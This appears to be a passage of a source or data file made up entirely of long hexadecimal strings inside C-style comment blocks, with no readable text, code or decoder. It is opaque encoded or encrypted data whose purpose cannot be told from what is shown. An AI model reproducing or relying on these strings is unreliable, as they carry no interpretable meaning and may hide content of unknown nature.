70e6ae3a84b2773888c8adad350a4b966fb28379c58f9883cce6cfea83999155eefb6121f17a301effec491e74a917a59d12605a26eb2e53f13370f321a72726ae32c14e288a50306dddaff2fc8630e8e70c6deef2297ca4abf8717bc34d1df9e43d326042a14909397778089b5ab6458d999d895407dba74f6c975ee9c50528141e62ee56fe026a00ec36337e84e73e4df2e343f6a5f99c81e8559aef16fe0f03f63e95247472cebdcfcf179c0ffcf77190dfc3f0d32b4d1c59cb5f5c3cfe220c4137a6fc51f88849796c5cec36ff1ffb70c92c201549d2622a84b1222ce8e3feb54a4c7ecc8729900a28f16ab0c79504083454de630eb0c59dc5a5f30f1ccc1a83104777babc962a2bc7c81ab5797a66d8103c46da51e8853becc7b1a3ea4d93d2016c16e38d8b7e9786723a6cbc49c6098d02e2271f9550ead9ef766d4eecd6e27e6e5d0cb5d37f4eccf7a3389a7323cb6f152a7d903f627c53e7be5094219f5976ca120a5acd8c23d86a1e94ab8bb9f374194fd13524a11a6f55ebb1297e1187ead06ad6af07acfb718866a0ec641a5bec3c1cc5796b71c00b19b2012c276df149b71c520c0a2d6f3201a553d080bc12665263738933275404460f45b2d8168ed140695c7bf20a23da6e1df8918c9c3f23fcb4a575e9cacbc3ad08d3e447d3f60a38b0e2ee296060f8e99ee8743f8611415be62e6c70c2cdce74a113596fa8cce477da41a53eec407eef25a122b43e6177404ca34b21feac8d3ed5a57db6ae0c3d057b79688628a32532533dd5559b6534c58d7a18c7d04651f848fe4a03335f673500a122c272356bbfe3e57f650be4a3c572177698153a932e2f64a73ace23a407fe41b0afa6e2dfda2a163f7e9eda7d4d4058cb5b59c02ab9b8064ac59926770c23aa4626787daf5cb39e586c640ea38fe9347639cdca59a12f0adf252e61cfd6c0dadbec6ae86588b88ad9d567b2c5b7d390f6ce1b0b4ab6cf908da6fc6c39309fad1e6e917bd8406b3ed0f639b67642a908bbbcb5380d2033f59ce5ca84d633be4a76c87683ed66e1aed6daa50bfd4049ac253b5c59ef3c4a2dadcef90fdcdaafccc8cce5a48bf3cb7920e2e68b19b4fb3f9e3e5cea9d424ee60d1c8b3de532098e17c049e99b2b33ab106e798dfd7f7f913ff1521a09a4a702b135ae5605ed5d29e78a970f1ad4e9a30ece1690cb5708b48e6217b35829351bb7acb337427d0afefccfd87a87e79f41474524b4b6040fb13fb246a044fb01b0e0194855afadd7bb9591578070dd5ef8b86fac3e887c5ab3e424566f34b91cdfec5b498522d92a13c20f5b5836d5866d957ef5c868a2bfafe67107106cbd05272b8b6d4dca72d88479e9e9b4f0a08b*/
/*53375706b5b2fd0390d2d1a608c06460e87276a4d233b96529c547bdc7c9183beb0ca21ac301bdb3e979f11d15101a7e03db01cd5c852f366bafa2611d2a48bb839fed9556d472e8085812ee2dc78257efc7db839b5e22d3b6ac541a3d183d53823a81ebba2ef192224aab7e85cf37114c1e4851c3da036ca74a58ba321368dff671162a4dac653dd3f52d415d06f13b47852389fc617fe66219026adb606587b46ddfad85d6c2170754285e8ffaffb622da434dbb14059b71b95f44b0e1a8849c240012a396027266244f717e0bf5438aa7c1dadcf8cbda9259af2200222946651fdbc67ff71f4c3c6cf3dba8f3ad39bfd6787948cb020f4f9ecc402d34d2c8e43b721db14cf7cdce510701ce754153a6e641bcc3a853453cb2869fe397e0cf71b363c90efeb115a47e355ab6f6a27116bd0362ce7722bf59d09958f7c589c6ff30b0e5f3e53de081dcb115f2c0aa002f2ee46335d83e289612362f8821a1389f981ffd1179633324c8d701db8ac171eab041b3c3179c5b90f4235afdcd5a98d8c42f171f05fbd230ed299cbbaed3e737d3df3ed0b8a8ff163cb6949a42232e779f849224c031d6010ba9f1d9080eb8b659f1c5899fbce5b7365270af19f87f3cfaf572e911c8baf845bcc67aa6fbad19c43d962c5bdb8fef40517ee3697d39f6b5a8a2ed4e949f7d8853b277f658fac9b099374e6b4a77eeb0181b0320b3cea900a492770944bd9b2997df93bcda99bff7efb0d922c3ca71d8fa8b33e815730b0303633dbd2ebb0564c3487f3643c9eddd6cd70bbca9667ec5ab9623df5bbd23b2c962350d40ef672f4fa20009833124c6461ffdfa0e2b38da1caf8fc4731e0383d5e4eeb330724cb537458daca6165162b3941b48aa6dbaa6b6ec2a4069dad8eb6a9a70e70a8025722e96554ae9290219128776ab24cdc9f1432ce204b541e88893577f054a95617ecc888902961deb77321d7226797832091bcd56fa64e2f690c8d8b0dbae38fdc01d55aa46b74e5a75471eb0ac79599886dacad87e0aec6e410ced1de7e0378d1742b74e2cd8924725806dc594624f21d014e8916ae78284c0c9fce5b7d587efa48606589c63caeaa28d6126b5a40c8f0fac9dc0626b5944e2a04db01fed90ed28b5bcf82834dd28d4b6e99f97c66905882b084e9cb9485536c60211a23f24436016ad0b1fc9e43887a29c0b9727675b4e101aaca9c32f26171f66ee3a5eb76f34573089c026fa0733986125fc00c11e5ba54ffd93d79c9d89623cbd34a18da67a7c49130802305068962009593de41a77cfa31119793541c006a5e81446167f4e6ed269ac07a76bbac89d9f63d8232c92566133ddbcc5616845a1eae095cc4135828ce653c3e0ca1edd49c379dd2e7ba2be9c9df1d5f8c9abb5c5f2b8f86c4f4cda2dceb46fb8beab40813bbfec6ac080f15174025c9123e427de97ca426c494995891dac53267b5dff3ae48d8af0b27977e021b52746f7b4f577f27adf946c686efa32ee4aabb7884c26b383fcfb81fbb3d9bee72494b834217874828e2c94e8e3b44cfcd1dde50b0ddec02e1ad0d005eb266a60ac4e90b993a834f4cde783af32e433b75a446e823aa45ae7d0ef7536b553b75096ec7380ecd1c8e8446cf3ff7bbc334fcd9aef047732f0b14c1e7d5bceadd9c225095d720bab3865d51f87c11e3d5aa5c9dc9f2c4ee7321917e32a44d7913ab2b7bdf7e7c80dd358b4935977c4f8660649e7e58825f6f52b173fa03e829877ada22ccc954afde2c2f4e4f068ec6ff95c9dd432c9493239bb424d4bfb8bf06af0e6e2012233983547b7ccaddca9fb66d5110d49c0cd97ced9fe96ee586e9a4e16e14a0b2f5dd91bb9a740699a4bfa2b2c9c1fc75aa2123f425da7c82756a14b863820072b1a16eaf416afa6e5d649daea459ec24c0ee1ada0da3e97e026be77b236ce4c398adaa5a936e75eb2361fc6ad4b827fb25459564b4e2cd1b96851ee253037e7370c9dd180bdc3777ca7d98ec4555d968f1a8ecc6ee7cff73e06b886f3f8fd6cb4dfd360b73c645ebad697473a83dbce724688d912ffe34910e9baf2e11412a0cd7971455857315caf3eb81d1fb1e2d4e1d0283c9a0e29cd7011774c21b98fb5fc5d4d6f41fba9b2a10d9383f71ef4c1ccd14d325ff08696c6fc92c818e3d61f53e28dae6e98b85e8756321cb0aac440b58486d11ae7bd901133989f184e4d8b59876a81413711f26c66de200fc47d89a30273db4392892ec0fda73fce8a96efa54372beb816db3b6f6d2fa002f8d3ae6e591884b915cbcc918a5f1c64949b88f44e1b3750a9f8364049b9a725fc39f766f36ae447891c862dd326868648e3c7095bc7e988e5dedd39d077addaca4f23136c778cb7a432a69453ad23b648f42f7abdff69710c44b5acdcca8dd122e009e5c334d6c2067aa42899827628ba9a8cfd50e2e4422a282dcd4d69a58c14486df71c975974e45151ada723dfbbdceb4244d0e3b773f540a4382fb3d55d0b5b6ab00c9f18cf4d27b59d8411c0c45808423b1aa23d154da8b74867a471d61ae8fe4503b74f290cdd7e7827f1c3454ff340ec0131053f1e4c62e6956dada8cf4f6eccb649c75048f10c77fa0c060d64bd158b3385a466cc4335bf444f470816de768a636c66ee33bc26fa82328f0094c240ac7c806784921699ed5aec02832b1e5b9c42747008342765c8a546bb9ab2164352a47eb0196a6dc17770f5c2b59401047efb9fd782903fccfb49e65a2bafda79bbacb3667621d2ccdbad791e2439f623bc90b23d71b78ec2a920130194ea6a836b058178a2219b9e84d73f92276ddb*/
/*55383c2ed5b3c1df94002f6b3e2bc9290c4324531bbaef0d4a45e439df697e32e78f2851189494f7c331569770baa94c47e14b2c68e6a9f40ab3e7860afaaf7c09a9b7ff0b10884bccbff1d6a74c04d734453499ce7b0e03d7d3dc0e10a18624e81611e618560a87d8d33cdfd9b79eb0270ed09c26cd51006509e0c918e5dcbaf07f30cc4a0703b6b5d47470b80c77114afb7d356eab7b1a0e3bf679da1109a11edd48e8d7d4ee9b30496612d6d15deadd8b3ad170b3bb8f6dd90c1855cd636542bbcfcf2d8be026fc685ec677bf1286c33e8c00016fbdbaacbc75db630ec4ef40c11e9ab3f8e0a155c6ff05e17d350ed4b055d5b151a89bda6d07bb50658c1bc946287660b21612947e41719d137d5ddf39e7bd2ddb1a2905dae3af79281db431b5cf39fecb86f60912ae5c95b6274f2cf972d1c1657f4024000a344c2e9882aaa7a07b1aad8840e0c24d1aa7572952d0541eacb83f525ed3c58f780a9601e1c2bec307067a77ab2f3ea4b70be120ce9a2b1545c3243bb33239177f0a43ca38589899a1f941176121ac015ee5172c98183cb3c23180488d7703698643a75b56f9c6ad028a26c5eb3a19832a8390f4b62bad6be009ed33f3e9d84bdfa1bea0ce47b3b9254168a3a295444f7df0b3c45a2a4da09de588492669dbacccb55a8bc64cd0972d8cacaa100056908ec73663394eb393cc8f5f1069c1ebebf20503097aae447107f051f3d3c61f1beec953956f206f89dc8062108b2207e0c9f822a7a057af5dedce35603cf9a8c772ad103737d333fd65df4a92332b88edfb541d9c217b4f6f9b9486d4d37d45265fd4ab9148b3f74f5c71fa4599574bbc492bdf8e074f8b12dc24893c70fc5dd49ecce2c89ff7321d2e44af2fad48b67a21397227603768c17044ab38a406d1a2b25c4c433f07e46a6712ec55d419f5138815ab9ae2afd4556a61005630a3cc017942cdf8bed7b273720b1287f17c1fd66fe2ff86fadc588fc146098d7178e46bf53edb61295cf0b8546e4ecc46b048a1c83b6d4ad8f7a9976f23b0f042f546310240cdda4b807bb6cb1ab098619914143e26651cd03e9bc511c62b5dca3bc22be1a65437f45c4fc1ae25d712571f6bcac2bd8651871cc7a207f534fdd43b73869457f1933f52bb196fecdf5ea727c92d27411e8f05c76f80230bff1831397add89c92da61b35e946a48e9dc7b34c228ee978e277ada41ae01e79c93efc24831f78affa60b5ed240632a8bb81161efc3b5e6a892d1f3b5d194619bf0921c8e9596c6b4b939023b6ad05bcc0ae07a2722742a6a6801bab6a7d8451a13ceb501d554d2dacf131079db5fdfabf13af0db46c418cf2cf6246b2db5d1a4789feb3b8742e704c67add35e972484124d864cf452016bcb938710961903e06935ba38ddee03f3bd6e7c6fc190e1efd003970a68c9d256e49f14ab90f9e2366522c159d68429830c5a44f5e8f8540a03b4e8e0dc92a6697f6b41d09300fcd1a680215eb684324c26addb50d3b6393c4d35147c58c7a7f6ddcf3b83eeb25ff2016e4f3f2a9feda5e12ba1ce2b77bf35d3b58e44f8b0408cbf8c02d29afcdf429b4da4e79e3d81c8ec251402c093dfd6f48ac4c82957cd5f657529c2863a890b327ab62910c7ceef4e61f4fa5fc69f3704ac3a3466573534dc8b979eabb5e9fb29bd79a480ffb7295f85d66084701eef60fd99b0e0ea7dff18e6acdd73f4f148f9b9285ea368f53e356d103decffcdca61ca8ed62aacdcd138162e41b8fe05c6e23c299d2b9afbca78757673e438a8ce04ac15336589c8215f0b15a9e19c56404cdd2e75b6ad6061db86a54ee0c924a2a32bd60213b4e81388c0efba982977dcb7cbf7c27d803d7e59285b0ef911986ae57136aa4d54ec697b3b2ae1c73fe4a22d755eb2390da622bfefa3cb859806a3939c3e239b00d242eac773a7cc66c436e63491b09c31edcd31e3585fc29ca6c8d8d7e4fb1f14cf804bad96aa9224bde68d39be0306b330d1a69a71f85e5ba733d2e8624ed76c63099af3740784f8fe5bbde5bfdf5a80b7131254e4288a8eda504124de4c03a87260a050f8ea27b5d7eac39697a498268288c3de84c51e36bb820255667a789e5fadf07569db5f3e119b25ffd5ed9f130d039bd873371feebff0cd36d55f004a0ebcfaa4d568fd4be436b4f2b74976b167c6d1c776d8ef3d98f9ac2ea9ed71f463c96af3f031fe0e26ad0776a117592ee829b3ddb1d4884f5de65af22775a023fa605813c847fe0d9c99caad0f11dd26d7378200c7b2e34bd98b14653b0f0d805d0f74f5840c0288c1331c75629fc79b9b535d616cddaf0fdc45f4c778afe375b485ea9d4f01d49893157a7bf20fda62f9eae7559e2544b1a4e918df4b0070c100de903ef45480acee5325a8e207cf21f702c25d237401bd47df19a0826df7551291d8a3d83c8b0e44a86686aed9808cb946f4a26d13b3c1a0dcf20aad9c2eea9bbec7a4469954cf74de59d37565be1c43fe0c0be701497e51d9334084ebceb5e9c5c2f7e8ae71e3fc75d4be5aeb1ac491d39021c5677631acafdfb5443eebd74b603961ca713375cebc0d3932ad283a7034ecc59e41f119a8dd37de3b89c0b6eb200e11b3bc1255c8c2386f196180fa3f2baf63156630a31c5a346215b0698dd3856e37f16998f1a9ee94ae3f0965ef8bb4d10f94705ff6c5c84d2021ec638b2cdea9f8ce37de8d327911476cc5c9179b68fa8bd0d911e943d64252a6283646aa58205d30ae42c6387dfd70502cd8df2735ddc399115c4912b634622f301dbb0a5f0e78c7f5a964f320d121ae4b45a906e843a5b3*/
/*3cf008149d99b337cd148b9cfd59e903125dd380ca9d5121d0f00eb857e37e900106d6299e46a9a59d73f4e64e013d4389bdbc04714f95ea657d97f090fe67b02750e6d63ae211138d9e0625ed28e35e689f3a96a94e0e6aa03995a5f7b0d690923ebbfe6b50953a7a458e5f0cc9e485b5f4ffa5a901b82edc4adc997fc13a35c687a2a3633c7d996cb0c500c75ea83fde51dfe351c49c20845067893b9468c1723b05a9d65cfb8a1dbff544a0fa2ac9bf4223d77b2862758cef2b9fb82bdea43357b341d76f998c864b8f425761a3c6a31e8fe464576a283b8a37a8f6906799aa04005a248abc2d6fb7c4bf5947b9a8288ffe54b6432ae4589774c4af8648d93bea633d4806acb826fabf336639822845a4f49641b16e725a5c2a2aa50a4aaf2652034ed12b35451c0b044a4ec554134285d0b480337356203784a82f592c6b2b2ea6b9a77aa2c507a1508c7fb6879db1be7e792f66fdfe3522009d00bd5c99a9fa512fc334b64abad54382f2121f33ab1dedfa300a096905337cd2b283d4ce1e9ba258bbb431dae2066a78d83620ef14850cfb02d6b86e1d57de471391e1a91a7b2e8f5a6d02660c574e7b472978dc0b2bffd8b1fb728b2f4618a4b88e43ffb57741fe72e0c125d6c0092bf09fdc85e85e71e2d24e67ac3f8fa6d6935e58a5dba893ba1b03ddbe05d397e6a472ceb2e92760627fc113199aa40dfdb33972e8ce7665946945c0fe3e61d289dada36d5b70fbb1d744dc243809f35b2aec55cef71021d8af6fc149b6c4e9351b871540c6f7c9974975451ba63a46f597aba138b3d47011ebd8633bca152842f14d4c74ec6649725f8238aa4ea16b62e918d080df2485a4dfb07554ff9b5f3bee49cff957775dedcfb49c3d1991147555ea9c9d1d9ef86bac1edea85a7488b0f90d3c4d5764527bd5d78ad7bdf470ef23c9b79d3a0345ec9c2b0a1720e634f8f0960c0eee90ac966841e5a967b88557904f584fa8fe2c7a6f48dd8b6da5411b76d91e460c7bb87e18070003fe9a37b130ee39928aaae55a7f1fe66c41799b4b8bb8517c74c469a7fb685641a1082be0f4133c0bbce12c7e15ec24652adcb7c1cc3c11e4b2368832585c51973429238f4fa910047748297e8ecdd115c7714856f0104cd2e94b41ca169bf73aeb76ae4c36f7ffdb2b2c3d4cb3d4b2e24afb1a7177eb4f00ca09c92cd8ba1ea417dca6a21d03407e8654ca442554283de1826e3a809bb25a3532432169e0d6c9b943044c3e20a5d6ac50e8b55d2c12088ed01d6e16197d88b48bcaa80f903896d92f332a006d5c277dc19a5cc9fa70becf3fb04c86710032a25884194d7e20eba448ad747cb530f25ac8e6d06a453fd5405f8aaab0cff8192b5dd1424939cbb0b75822bf05b46ea16c81e872928e544c33ad37bdeef5b88889754cc5ba746ac386b1dcc8127ce94f8c253559d14147d0324f0db3fe9a2a377a293aea17e7ba9a88da16e659ab946c7ad22b76b061bd74cc3605d4e896a345954ccd0887b6d24ab59af9a17553fb4a48996aa215a5ae523023747423cf444f8138c2fdaace5dba6106a4e529cb5a769be1804ab3c30680728308d8e5ce1d20832a1a316a71150c92219c9716bb9ee8e4e49d68472a4a729aa182cbd52756a6c9000b227fa973fb342ff157fea1f88a4c3b700d96f13b76d6073d0d7e165d9a462b8e135f8eee0e6f98c88f2afa565f75161399cf2318f7d671a36dbef151509e764fa3cfd7e08ceee2c15b753259e90aa4ddd10b52058b705efd76066413711e51b54e863cab852b6f616ebcf7958ef81db023f99d107e64d1a5df4842e3864ee5fa588c5369e03b86ccc735cbff8ff401f69453f9e8e2cb1868f8dff95997591f1627c24713b52365f356480d4d01950a2a36345092ae9edd6c105a49cc46c8ab68d88548b35c94f884fc8249196f06cbda19cf2b4d75031ca72c03042bafc17bf4fd1d29637317d4de529e8c31875dedadc81d65ca288d8791afb7ac2c843b5b55b6680b392b363213a423820f4380ced12299d0e3fbbe50a0ac965aafd3456a6e54af5849fb49bc3b8e041150775cf9dc278a100bec242da2e2d1e4fb5861482ec9680616f756062caa0ea1a21add3c5409ee9e7eda16131d2fab5ed3830596b3e5cee3ae9576a5ea95d460b92a4ccb55248d78015c2db96d3aa9a1e4de31b253af452bb1921e7103489bc3c708b9c5a78cad22f170a760af00a9aaebe741255142625eeba50ec73b5bdf00a2f3919f4b92ff2b189a12e2b9817078b7e96f98c102e1166458ae9b297e0fadba55ba5ec6033d352dc97e4885c62166952b4fef7ce304f057c73d3a6351d30eca8aa9f4ba13b4234d0c4b70d9c2b382695f7c2fc3a62084f8689001e66506c48536ae841903ed435a6b6202d62e2c723ddfdc0512f2a02e931f341ad2043d79288b58c14179f630dd3f0e47688e51711ccf49d030ef95731bb615cf6e41f979d5e2635cb1e0683587d65564e6ec82b1bce8fb3df47509ae2db7b4c9c2bf871546551f3f7aa501797ebd86b85154319c070c829575ff8e6aa27428bfe3317247708098bdd8b18e833f1133ce4d43d48944390151d0212257ed72d0aed6afb33c16c5c7a8b567a0ef13c2027ff2b29894a21bf62724d54b6853fcdd84c2397be825818f726995cf21a7d00593b762d92004da35091997ce9849cedc13e7124bea081fb511d97cec3927bb886ccbb6713efd6b7d8d3b07b33e019270ec59696f5ccc79818d3c861e33296e61e22368df9d6656548e7606ba8faae69d7d2ecd354287610d633439af2b532aa2e865566b9ba69cc*/
/*1e5bd682e45e27db5bb5aa2d3820cb9fc72f0c2cc779950382fd730504f4acf11c380db3ed15e9205351a5903a5b0b96935376c9bfd98c52e90d3b87cc8096e8c0d69700114ce2aa6d076bb33ae7cfdf2047b0697d11baf00027a1873297e2df674a57620355f16ed70dbd3f5958cd6bf8b22fd0c6d9d59a9bb5b2fd93061cd7db90d8a84584adf35c2652ba6c5e42f33cddb1e08dcf2cb80828ef518f3535172a93ec2da5eb46453d9f8773a67089f43f1e2eae7fc51dcbea9d9f6f32351dd1dd46785a4293d1a1fccd04ec8a2a96deb0c594d25822b143d359f39e15a155728d989fd79a14cb3bda197dfa085910bc7f7fc11255c774d16caf1e6f62422ce64fb260102a3d9d79a26fd78a7ab442309ccd5d9dcb51c3f85f681688cab6ea62f8600184f1ebe47a98d94097846d579376e2b1ba2e85c8eb89dffa144c7e63a0a87caee2f3bdc1de224a09ab42988fbb4305c13cb849b72b5b3f33d0fb64c9a6af0d282558be152743acf01c9c95e7ef728c286fc2520712e8396c14c22ea99e383af32c6e0bb6a4fbf2364a3334e799f94d811173fa9a3f9cc556903b33fe7ef56d651df0c95855fa8358f39c6a73f506b84d137621060a49640cdce220c997e62daafd2d40cb48a3eb23a4f83e269a32aaa6a174d862ceebe8fb0f17201bfb0ccc992b614d406c7bf9004ce3a18e5ca91115914bd844b4340b6cf159422b43be41e4105920c872db23bc86b9d718e6e1705bbc897ca88cc2bf0e27fe3e7fbb97998667ffa6636e795497b9ebdc36abcd53091fc390d87221a6b540e0d962aee9773f80aa5b06a5875e9f6552d9ae990861a9301ac25dd04eb0e7d6364f56860e3e3ae100744df83653c4772841a2327eb992f11af9416996c3eb86cde6763c7229ee636bef75444c8b8edd52b281825c3a1451f05833b88b27675485900790f610ac9485b9264a7dabb91aa3851a53345634586ec4dd18ccf8caa59b4ca726df619e828fb22ec13987e08345f02f82ff00b9f5e3d3618d7be3c8fbc577658f62ad4d1b79fdb8a3d80b1b312aa73d3cb4daed89a443a1334ee2e302742cac637348a9bbacc1fd76245d019b708a49f842c94a4d3574bea439b1f5effe6d3c8258b4f77d57293faded10208d8069fcbdc35301f5b30c89abb807d58725c7c800d94254d5074ca55baa25d6ca317ab83f25e15064ce63f30c69b058e7f210e44441323c52283e4cac53248640181f7c53a1fdec9d6892187ba0c0954626c6c554f41332844208d5faed0e507dab305aecad5f5a2cf31b2b373dc4e2647191bc3501221e51cb580c87571bf5f33e7dbab276e5318a959a114a9a07ee2dedf5f31a7b68c32241992945a5f7775bfb0f86ff7e76fc6026611a589df93a8f506313e84276da1b805f5599e2d34d33a3c25ccf3a8a55118cc6620b80face0a4c81f63f2439bb0350e98e8d071573a443140331ef6f59a4389cdf0b3e42435936254e6b5c8d1bc12d3b9507e1f4631f2f4b5fec49e4b8a36ceb7d6bfc49923bcef24a55cef07e8cd16df3e94fb6be92d5de2b5224bb69c85182df40cb7914e3b350c23d216f0d1bfc83bccff88a4ee751dbec47caa0bc3988a42c11457f083cf9fccd06336ed955eae2fc04a8640676aec006dd8896534dfeea8ca00a79bf001e605da04d5641d7f5608434f6f08e189592200e22fe994c3d1a425bd1b8f5ebafb567f1128e4382979f24b0450dca4dd06173a5834c9940514c6d7e7a45cb0495ec38960baa24fc96e41a3d029bf7ba36fff94e2bf7d8bebe03e36fde42baf84e6aadae99598d7bfa6a6609a64005da9750b724bd35ead33ad5a8880d8d6bd686e6c72c16f60b833c50f53dbb332bf5e1df8fc96b365f961b7e59e2abb18828432ca750011fe572b842f1083235169f9d525f91b42be6d5274dee5163ded9649e3be0297e1b19fa4fd7a732a3539abc0cdcc6bb7e39dae702d092a7e8b372bb6f23e3ea08e45dbd4d0c5aca0e493cee2200a2b7b00b486b8bb30f49ebaa68ebe885f8befe61ee67af9dec27d568d76a2a681d91e1f2111225e0c4c89db49ca3c6f80a39b7a688bced509f7a3b109b37565aa9afdd6457d454db69794f490e71087dbe25ef9e22ddd460762d6c35994d0b13cf2f413ec75eb71d54183732996c9c2738e825e88eff31f016c9ea15aea0be5a8196efcc6e8aaa6e8bca552438768fbb95c75921cb5ea0e22fdfee1b296ff8049d74a459a92b0f540cf6a4f5815fbf7bb41ff3b65f83f11e538bc6f946164b35e4ae32e0263f8adbf4ab875bbcf7eb4debf31865ea38b17c187327f4a20505c45658435771267c0ad0037763121a7a9421f1327c316cd9dd78bab6e101e8c45d3f6b5b195508ad5c8c2f4c1d72f0ce73e4707e7ede83524329ae42b1ae807828dd4d99858479ee7d8f78098dd88896e2e0a56cc2911c282f2fb72d7a341a9acf1ab5df06512d826175bc576d5afe610a64d8c25b8c93b026cb9b521324dd03a45867f3c17bd46e538297005602cc5828e9b742a7e5965bfc84f2a81d8792d1b0a8ac156bcb2e32833eb51be1ecf615de5a7188834076dbad2c1f2dac778724bcb104de8840a00d58638b950e70880d356f1104d31018da8a52772bbe0385d4e17ccdb62eac5c97594940b48825fcb3fbd4870e51cadfe682fac1d7b74f3df3187890d816357ca4d2b8f1b6c53a3f01ff59ce05d32cde215bf1a222924b8e75fcd5174f26db1225636aae29c7a8e9365ac9a25e5de132793f63b9ea43741b77ec614c6ad5571fb7825bad22954f43cfc581adbba4a2b205081bf2bc3a05b4e92e00dd*/
/*acecb95e998565ed1883e32bc14d8b4433f1a7c40222b143d5563646ba5790f89a6c15a5cdf767f3d47012a994549452fe4c24919a02dea73070916a0105a87d3b1cc41c85289a8c5c9c91afa8bb7511f5b55a6e6b860323d5fbe9f6391831ad2c26b9e0958ca094e788f78cd4385acb674f1c7dda504a1989a305b94214af4d0a190d730a59619516a7932a130988fb869867c12d4fc69db5e43d8d87aca970e00759a95d7a05783ed582483588dff7b18d43142723d24774c0e2061d775a20f61b7b64ccd892907100e53ec66fec629d32438d7e0991a95643c245eda6ef4a85cddf82a5d65e17e5e6f1d438bbbae764bd2d84fb1805f9473bdc40822a18ddbd5f63544c989c2f5e666899a1f72f6e3e5387022c7612becb038d8a0037db3ea61c19c34796f6411ac138064eebc8027956cf375b86f0583afba96b0405bda3e00b9d07caa2e5fb4b29b3a71ad6858037ecc320a4a83581e22bced907e3b955a7fa295dc8d84ab1e6b5435bdf009b9ed8ad7baf8991a201145ef3a9ab2bcd4ae1c6d25d98f940377be6cc4e51fa4db92b08ca0836bde4f842af68840cdf65698ff901bd750fb3fc1b8d3f767cb2b5ee6d83f948f8696a911a70694e44510e6dab8ede2872add378b9e2c8c77f82c613f42bafd110ba2978293c37932742cb637b2e712f268630a8cd293114cc875c851aa50b91e3e6008e2920582de2af23cf7cb651ad64b5352aa1c1c257a35831bb52d388ba510850b349f6e673994437b8950a37a8f8495f1ce5e39c6971c648d7629848a8cd22378fdfb057d2d3fb5156d1711b25983b61a7d97c8a0b98824e07d9a9af80cea284bcef01b4ed9118c2d046cdb7c9fd9ce289406a3e9968fa5bff114ae9e9f8f6f785f8bb037dcaf2ff3169449c0841561ff7f2d51a7fa5a8e589358f451149c6ab891b1a899c0e46859c5138fb9959e8c8d972fafb9dc8ec03553a0ae45a24ffce6afd5b35846fe3d63c6e6a0d8b89d264f7a521ac4b24b53b5ab612978bce2c22503a0d5bc73ee665fa9bbf830572b5ea88c9bee22ba590628341a02182ae9687d2de18dced0afc2eea31d46c5c62f4f779b61676ca86057078bf4dc01f8ce61dc8c0a0cf01fdaac50dc857bb8cba33d186b5ed41bc6fc9bcdaf35d5b0c729089190f5b288c0453bc7ab4de3c4bc2093a787b11c6f7dc8fb4f4e3e43bf85a3d9a630bbe52f851233f6326725c034be4b47468d7e35e9f845806d2bda299ecae5b1f0753697c592e86e6980f326997d5183797d14072b81405d9e90cec9d116e31ac7551db3aefbc31b848c77bcadd6399f0549642e4572e627fe45defb5af58b09aa442eb2e4ff3a3234a873e759224e5f1b99ee0b3de0b4505c5c38441550747fed1bd0fce1213499bd20206adef2ceae99ba5bab0131212931fbd77d8aa1a79c382ca84ad137b553a42e6017b14b9bc51162d982f20f4a03d99842ca37e8b4eb091c3691412a460592a8317c40fdd4c128b422c399004e07e39c80f248672a337c8894df097400f4bcff576133f9f6001ceca340a4d566dc9424eb7b9837530a299b136641aac1b6016e4961e07e84f22154902a927b6153fceddc1096d0c4ed4e6a58aa1e8e7d752de9e43396f7035e26ec0ee2827db86f2bdb45395d3bb2549b420d47bd1754feadc5133f52bd2ae1f649bd3ea982716f7c0830cbdd23d9d10efa78547c6778d54e69036cf40b31a9222a703a53b61c007206dbb3c838eb7c83b3d37f2e15e1b1771225799015bdd6d895e6bfde33956b221fd73c5c2fbe8d98e13667963389993ffb8cb670b0a2123d82ab6a13fe44fa3c6ebe29eefb573d78b9b9b6da81065799f2e5a62d93b3f7e5700fa78e00e3407e29e4699686aa00d7dcb75c721afd38d79380e2757a65d177d3e5356223789f7e974c8718a11caca046ecd657f4ac82b35cb2c67aeac1dadffb42dcb570b759b6e402b73131a48bea712fe2626fbf7a0f00e00edc11fdaced12d00d9b2b7b2c414a7004fc3236c8ef333631fa9c0e13bd6b31242126252546efa0ab1c2025f6b5281475111a0ce3d41a44a6dbd9c930bbf8ba5805cc4bc5af898af4ed8cf4076f0649ddebd40014bb4899fa28c3551a5bdc337cd88fa487bfb57c0a194c147bec7317bcecdefe9dbd5aeefe9ffa3c810047150a7117e9b8e896e3e56e950eb48cd48e2c419afebf4f6c22c5e5a6b10365f63860b5a29ce587f041f0898102dcb2de3063781c565a81c54ea4a3f46dddcbb9a05db140e4d7839bf2274003e7a29750d63c475bf3fbc0af129de4e00eb72a88b7a6d08f4e06b3f2ed301507d935bed9bebb4ea90fe8e322c28d42ae08f4ba5c464c2cba9d7d324067c0e00de7a82c26a2537ab350fbb611df93e5cefd8504789774e49927fdd79c576cf45a8e8b7a05982f36c4eb3e71f37abc2a675b2720439de22f79f53149eb66728efdc767a9f0c013bb74ab09e7f8c01058f3c042078bcdc7925ed1e6a29d72859a51908dba407f811e3a3fca0c4041b5a8c2eac5ae488ec94eb81baa21ee0fcd0d561af050afe0ec01a2572006340fba31ebe4b8911332228e44409f58f7ca3f3f0638149888ce166308e726a71ead17ccccc1f8e6f65f6d709c19829db956dcb3f5c0d259f7e914c3cf9f7791c1a0be7e2838555a5ff7df6460aab906b25394a4f3fc7b61e10970e800f48779afee8a93b5ec10c1335948fb86fda37b1973d8ad764dd7c9b4da38399b5fef2434cb9c13bc517ad73d2ca14df25c9511d067e83b2d85c1b1f2b07e9b63e4f732a8d46c2aa96d0df83d45ef28791d55b3207c2c406608a1f*/
/*0f7d6b09321d435dd6f17788766a1f42a122f546f6d1cf50a5ce2a39df1f83ef434d4a16e3ee294dcc2f7b27877dd267ab3f0a39d4c187da8675943a2f312ab2737a0af0833cfc22ba186d28c4bb2934f6259feb8c96d0c8ec26307f1249147f6f24efaf16b78499eeaa3f454721c2f7b4a7da2f4d2b65fcd3a87590246f5c267c85d63504c046c8d1b2d0ee99c0f10cc274fda98f97c3ebd952108349a113d2076b134fcbee9dadcb42ad817777bae5aa9c394d4cbe9684eee216db42446bfaad5f103d5d0947126384b87d9109a2fc1de8245bbfa74732d5fbdaff804f13f79beed69fde7154bdc2b49347ec1b3e54c389afca57a805969aa89ce97288da4b52cd2e2678bbe5ad331304ca0235dbf1423ab1708a54d903042e9b4aa025e5bf96720c041e6bcbbb8f10cfbef188b7292b0edba85d3942a31e0899b77cedfc02529e5d12da591693bc2d206412142b9e353ea5d6c1ca399142d6d4b69028eb47eb8ca2ccab98e95629745e837091f4d4932db73f167576217aa3ad649a9c03deb37a3572971f783284dedf554bba50a0fced604fbbfbe289ea73a8d975b53e23bbd23c7bf560b688ca22549f9e70dce983eab67498c8f12e731538e18d6e